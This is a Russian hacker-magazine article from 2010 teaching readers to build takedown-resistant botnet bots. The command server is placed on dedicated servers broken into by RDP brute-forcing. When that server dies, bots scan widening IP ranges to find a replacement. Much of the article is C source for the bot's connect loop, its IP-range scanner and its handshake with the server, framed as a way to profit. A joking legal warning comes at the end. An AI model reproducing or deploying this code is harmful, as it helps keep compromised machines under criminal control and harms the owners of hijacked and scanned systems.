Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 138, ИЮНЬ 2010 г.

Негасимый ботнет: Простой способ кодинга неубиваемых и абузоустойчивых ботов

В одном из номеров ][ ты уже ознакомился с теорией «вечных» ботнетов, но, на мой взгляд, подобный подход к их реализации слишком сложен. Сегодня я покажу тебе новый способ обеспечить своему ботнету вечную жизнь не просто бесплатно, но еще и поимев с этого дела определенную выгоду.

Цель

Если ты – постоянный читатель ][, то ты должен был прочитать мою статью про QTss-Brute в прошлом номере. Если же нет, то объясню вкратце: это такой брутфорс для RDP, с помощью которого мы с тобой будем зарабатывать на кусок хлеба с черной икрой :). Поехали!

Семь раз отмерь

Для начала тебе придется почитать немного теории, но не бойся – ее и правда немного. В чем суть этого подхода? Если ты когда-либо брутил дедики, то знаешь, что в большинстве случаев они по одному не брутятся. Например, с диапазона xxx.xxx.0.0-xxx.xxx.255.255 в зависимости от везения можно снять 10-100 дедов.Предположим, что у нас есть некий ботнет. Для простоты понимания мы будем работать с «абстрактным» ботнетом, который фактически ничего не делает и состоит из одного-единственного бота и одного сервера.Так вот, сбрутил ты дедик, поставил на него серверную часть ботнета. В боте записан IP сервера.Ну, работает наш ботнет некоторое время, а потом (внезапно!) сервер берет – и дохнет. Неважно, по какой причине – то ли админ тебя спалил, то ли федералы пришли все к тому же админу, то ли сервер просто поменяли – причины нас не интересуют.Нас интересует следствие: бот пытается приконнектиться к серверу, а у него ничего не получается. В случае с обычным ботом можно было бы сказать, что мы потеряли ботнет, но у нас же есть хитрый план, который я сейчас и озвучу :).

В случае отсутствия признаков жизни на сервере, бот генерирует диапазон IP по заданному, и начинает сканить его на предмет стандартного порта сервера, а мы в этот момент ставим серверную часть на другой сервак из того же диапазона. Если находит – обменивается с ним некоторыми данными, чтобы удостовериться, что это именно его сервер, ну а если не находит – расширяет диапазон поиска. Для разрешения всяческих неприятных ситуаций типа «деды кончились, что делать?» нужно ввести фичу ручного указания нового диапазона. Вот, собственно, и вся теория.

Один раз отрежь

Итак, приступим к делу. Писать мы будем в MS Visual Studio 2008 на C (именно C, а не C++!), но компилятор я буду использовать Intel’овский. Почему именно так? Потому что 2010 студия на моем нетбуке (MSI Wind u90) тормозит, а интеловский компилятор генерирует код меньшего размера и более оптимизированный, чем мелкомягкий, что в нашем случае очень важно. Кроме того, у Intel есть офигенный профилировщик, и мне почему-то кажется, что с «родным» бинарником он будет работать лучше, чем со скомпиленным Microsoft’овским компилятором.

Запускаем студию, создаем новый солюшн. В нем – один проект типа Win32 Console Application (консольное легче отлаживать, потом ты без труда сможешь переделать его в Win32 Application). Работать мы будем через простой TCP/IP, используя winsock2. Процедуры для работы с сокетами показаны не будут(это слишком просто, если нужно – посмотри в исходниках на диске), поэтому приступим к рассмотрению функций для взаимодействия бота с сервером.

Для начала опишем точку входа:

Точка входа

getServer();
getRange();
while ( true ) {
sock = tcp_connect(srv, PORT);
if ( sock > 0 ) {
/*..SOME MAGIC..*/
} else { // Server is dead!!!!111
range = getRange();
server = findServer((char*) range);
if ( server == NULL )
continue;
memcpy(srv, server, 20);
}
Sleep(1000);
}

Тут мы в цикле (бесконечном, это же бот, не так ли?) пытаемся приконнектиться к серверу. Если у нас это получается – обмениваемся с ним какими-то данными, иначе – получаем диапазон для сканирования и ищем на нем сервер.

Функция getRange() возвращает IP для диапазона (сначала пытается спросить его у сервера, а потом, если не получается, смотрит зарезервированную запись в файле), интереса не представляет и потому приведена здесь не будет.

Функция getServer() просто получает сервер из локального файла, в ней тоже ничего особенного нет.

Функция findServer() – главная функция для поиска сервера по заданному диапазону (см. врезку).

Допустим, у нас есть IP 192.168.1.1. Сначала мы сканируем 192.168.0.0-192.168.255.255. Если не удается – сканируем 192.0.0.0-192.255.255.255, если и тут все безнадежно – 0.0.0.0-255.255.255.255. Если же и здесь у нас не получается найти свой сервер (хотя такое невозможно) – возвращаем нулевой указатель.

Рассмотрим структуру range:

typedef struct
{
unsigned char startIP[4],
endIP[4];
} Range;

В данной структуре мы храним начальный и конечный IP диапазона (само собой, в unsigned char).

Последняя функция – собственно, сканирующая. Она пытается приконнектиться к серверу, но этого мало – надо еще убедиться, что это именно наш сервер. Для этого мы обменяемся с сервером двумя сообщениями – cliHello и srvHello:

const char cliHello[] = "\xD\xE\xA\xD\xB\xE\xE\xF";
const char srvHello[] = "\xF\xE\xE\xB\xD\xA\xE\xD";

Сервер, получив cliHello, должен отправить srvHello. И если то, что он отправил клиенту, совпадет с srvHello – значит, это наш сервер и можно прекращать сканирование. Саму функцию сканирования ты можешь найти на врезке.

Далее нам нужно научиться «просить» у сервера новый IP для сканирования. Отправляем серверу константу cliRange и сохраняем ответ – ничего сложного:

const char cliRange[] = "\xA\xB\xC\xD";

Вывод

Сегодня мы научились писать боты, которые абсолютно абузоустойчивы и практически неубиваемы. Сервер «помирает» – ему на смену приходит новый, и все это без гиперсложных алгоритмов! Кроме неубиваемости мы получаем нулевые затраты на хостинг – ведь абузоустойчивый хостинг достаточно дорог. Кстати, у меня получился .exe в 12.5 Кб размером, ведь простой Cи – он и в Африке Cи. Главное – не забывай про закон. Создавать ботнеты нельзя, а создавать русские (украинские и т.д.) ботнеты совсем нельзя :). Не пропускай это правило мимо ушей, дяди в сером не дремлют. Пропустишь – будешь рвать волосы на том месте, о котором ты сейчас подумал. Что, согласись, не дело. Удачи!

DVD

Полные исходники смотри на диске (хотя большая их часть поместилась в статье)

WARNING

Не стоит воспринимать эту информацию всерьез – за ботнеты могут сильно надавать по голове. Помни, что статья эта – ознакомительная, и ни автор, ни редакция не несут никакой ответственности за то, что ты можешь натворить, приняв ее всерьез.

Функция findServer()

char *findServer(const char *fIP)
{
Range range;
char *server;

memcpy(range.startIP, fIP, 3);
memcpy(range.endIP, fIP, 3);
range.startIP[3] = 0;
range.endIP[3] = 255;

server = scanRoutine(&range);

if ( server )
return server;

range.startIP[2] = 0;
range.endIP[2] = 255;

server = scanRoutine(&range);

if ( server )
return server;

range.startIP[1] = 0;
range.endIP[1] = 255;

server = scanRoutine(&range);

return server; // Returning pointer anyway (NULL too)
}

Функция scanRoutine()

char *scanRoutine(const Range *range)
{
unsigned int a, b, c, d;
char *server, data[8];
SOCKET sock;

server = (char*) malloc(20);

d = range->startIP[3];
c = range->startIP[2];
b = range->startIP[1];
a = range->startIP[0];

while ( true ){

if ( d > 255 )
d = 0, c++;
if ( c > range->endIP[2] && b == range->endIP[1] )
break;
if ( c > 255 )
c = 0, b++;
if ( b > range->endIP[1] && a == range->endIP[0] )
break;
if ( b > 255 )
b = 0, a++;

sprintf(server, "%u.%u.%u.%u", a, b, c, d);
sock = tcp_connect(server, PORT);

if ( sock > 0 ){// OK, port is open, now check it!
if ( tcp_send(sock, cliHello, 8) < 0 )
continue;

tcp_recv(sock, data, 8);
if ( memcmp(data, srvHello, 8) )
continue;

closesocket(sock);
return server;// That's ok!!!
}

d++;
}
free(server);
return NULL;
}

Пламенные приветы

metal, DieHard, YaesU, DjFly, Miracle, Елена Мещерякова

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001